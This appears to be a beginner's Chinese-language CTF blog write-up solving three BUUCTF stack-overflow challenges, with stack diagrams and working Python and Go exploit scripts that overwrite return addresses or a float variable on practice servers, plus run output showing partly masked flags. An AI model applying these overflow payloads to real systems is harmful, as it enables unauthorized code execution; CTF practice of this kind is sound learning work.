声明:
我不会pwn, 也没有任何基础
这是我闲着没事随便找pwn题玩的
所以难免会有一些不准确的知识会误导您
buuctf - pwn - rip
再次叠甲 写这题的时候啥也不会
看了一眼栈溢出原理
这这个题目与演示的demo一模一样
所以
比葫芦画瓢
该字符串距离 rbp 的长度为 0xf

那么相应的栈结构为
1 2 3 4 5 6 7 8 9 10 11 12
| +-----------------+ | retaddr | <-- 返回地址(return address) +-----------------+ | saved rbp | <-- 保存的基址寄存器(RBP) rbp--->+-----------------+ | | <-- 局部变量 / 临时空间(向低地址) | | | | | | | | | | s,rbp-0xf -->+-----------------+
|
后门函数是fun
可以在ida 中看到fun
的地址0x401186

那么如果我们读取的字符串为0xf * 'a' + 'b' * 8 + fun_addr
由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串,并且将 saved rbp 覆盖为 bbbbbbbb,将 retaddr 覆盖为 func_addr
1 2 3 4 5 6 7 8 9 10 11 12
| +-----------------+ | 0x401186 | +-----------------+ | bbbbbbbb | rbp--->+-----------------+ | | | | | | | | | | | | s,ebp-0xf -->+-----------------+
|
ok 现在直接拿ctf WIKI上面的代码来打
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import *
sh = remote("node5.buuoj.cn",27268) success_addr = 0x401187
payload = b'a' * 0xf + b'v' * 8 + p64(success_addr) print(p64(success_addr))
sh.sendline(payload)
sh.interactive()
|

我将success_addr
设置为 0x401186的时候 打不通
听朋友说要栈对齐 ,反正我现在是不懂这是啥玩意
做法就是
在p64(success_addr)
前面随便加上一个return的地址
那么修改后的代码就是这样子的
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import *
sh = remote("node5.buuoj.cn",27268) success_addr = 0x401186
payload = b'a' * 0xf + b'v' * 8 + p64(0x401185) +p64(success_addr) print(p64(success_addr))
sh.sendline(payload)
sh.interactive()
|
确实也能打通

另外
题外事
我闲着没事干将exp用go写了一下
下面是源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| package main
import ( "bytes" "encoding/binary" "fmt" "net" "os" "io" )
func main(){ r, err := net.Dial("tcp","node5.buuoj.cn:27268") if err != nil{ fmt.Println(err) }
fmt.Println("Success connect to our Target") defer r.Close() funcAddr := uint64(0x401187)
payload := bytes.Repeat([]byte("a"),0xf) payload = append(payload,bytes.Repeat([]byte("a"),8)...) addrBuf := new(bytes.Buffer) err = binary.Write(addrBuf, binary.LittleEndian, funcAddr) if err != nil { fmt.Println(err) } payload = append(payload,addrBuf.Bytes()...) fmt.Println("Our payload is ==> ",payload) r.Write(payload) r.Write([]byte("\n"))
fmt.Println("Try to input some Command") go io.Copy(r, os.Stdin) io.Copy(os.Stdout, r)
}
|
确实也能打通

buuctf - pwn - warmup_csaw_2016
这个题目和上面这个rip一样 都是一个很简单的栈溢出
使用gets 像v5中存入数据 v5 rbp 的长度为 0x40

刚开始会将sub_40060D
的地址打印出来
改函数会直接执行cat flag.txt

ok , 还是用昨天的exp
将昨天的exp修改一下
1 2 3 4 5 6 7 8 9 10 11
| yliken@yliken-virtual-machine:~/Desktop/pwn$ cp pwn1.py warmup_csaw_2016.py yliken@yliken-virtual-machine:~/Desktop/pwn$ vim warmup_csaw_2016.py yliken@yliken-virtual-machine:~/Desktop/pwn$ python3 warmup_csaw_2016.py [+] Opening connection to node5.buuoj.cn on port 25895: Done b'\r\x06@\x00\x00\x00\x00\x00' [*] Switching to interactive mode -Warm Up- WOW:0x40060d >flag{4319e3b5-xxx-xxxx-xxxx-0e1842b5277d} timeout: the monitored command dumped core [*] Got EOF while reading in interactive
|
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import *
sh = remote("node5.buuoj.cn",25895) success_addr = 0x40060d
payload = b'a' * 0x40 + b'v' * 8 +p64(success_addr) print(p64(success_addr))
sh.sendline(payload)
sh.interactive()
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| package main
import ( "bytes" "encoding/binary" "fmt" "net" "os" "io" )
func main(){ r, err := net.Dial("tcp","node5.buuoj.cn:25895") if err != nil{ fmt.Println(err) }
fmt.Println("Success connect to our Target") defer r.Close() funcAddr := uint64(0x40060E)
payload := bytes.Repeat([]byte("a"),0x40) payload = append(payload,bytes.Repeat([]byte("a"),8)...) addrBuf := new(bytes.Buffer) err = binary.Write(addrBuf, binary.LittleEndian, funcAddr) if err != nil { fmt.Println(err) } payload = append(payload,addrBuf.Bytes()...) fmt.Println("Our payload is ==> ",payload) r.Write(payload) r.Write([]byte("\n"))
fmt.Println("Try to input some Command") go io.Copy(r, os.Stdin) io.Copy(os.Stdout, r)
}
|
1 2 3 4 5 6 7 8 9
| yliken@yliken-virtual-machine:~/Desktop/pwn$ cp pwn1.go warmup_csaw_2016.go yliken@yliken-virtual-machine:~/Desktop/pwn$ vim warmup_csaw_2016.go yliken@yliken-virtual-machine:~/Desktop/pwn$ go run warmup_csaw_2016.go Success connect to our Target Our payload is ==> [97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 14 6 64 0 0 0 0 0] Try to input some Command -Warm Up- WOW:0x40060d >flag{4319e3b5-xxx-xxxxx-91f2-0e1842b5277d}
|
ciscn_2019_n_1
亦是栈溢出
用gets录入v1变量
然后判断v2的值是否为11.28125
如果v2的值为11.28125,则执行system(“cat /flag”)命令

在栈上面v1占的位置是 0x04 ~ 0x30
v2占的未知是0x00~0x04
栈的内存布局(低地址在下,高地址在上)大概是:
1 2 3
| [高地址] v2 (4字节, float) v1 (44字节, char数组) [低地址]
|
所以我们输入44字节数据 然后在输入 4字节值为11.28125
的浮点数 将v2覆盖成11.28125
那么exp
1 2 3 4 5 6 7 8 9 10 11 12 13
| yliken@yliken-virtual-machine:~/Desktop/pwn$ cat ciscn_2019_n_1.py
from pwn import *
sh = remote("node5.buuoj.cn",29809) target_value = struct.pack("<f", 11.28125)
payload = b'a' * 44 + target_value print(payload)
sh.sendline(payload)
sh.interactive()
|

闲着没事
依旧用Go重写一遍
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| package main
import ( "bytes" "encoding/binary" "fmt" "io" "math" "net" "os" )
func main(){ target := "node5.buuoj.cn:29809" conn,err := net.Dial("tcp",target) if err != nil { fmt.Println(err) }
defer conn.Close() fmt.Println("Successfully connect to the Target") payload := bytes.Repeat([]byte("a"),44) buf := make([]byte, 4) binary.LittleEndian.PutUint32(buf, math.Float32bits(11.28125)) payload = append(payload,buf...) fmt.Println("Our Payload is ==> ", payload) conn.Write(payload) conn.Write([]byte("\n")) go io.Copy(conn,os.Stdin) io.Copy(os.Stdout,conn) }
|
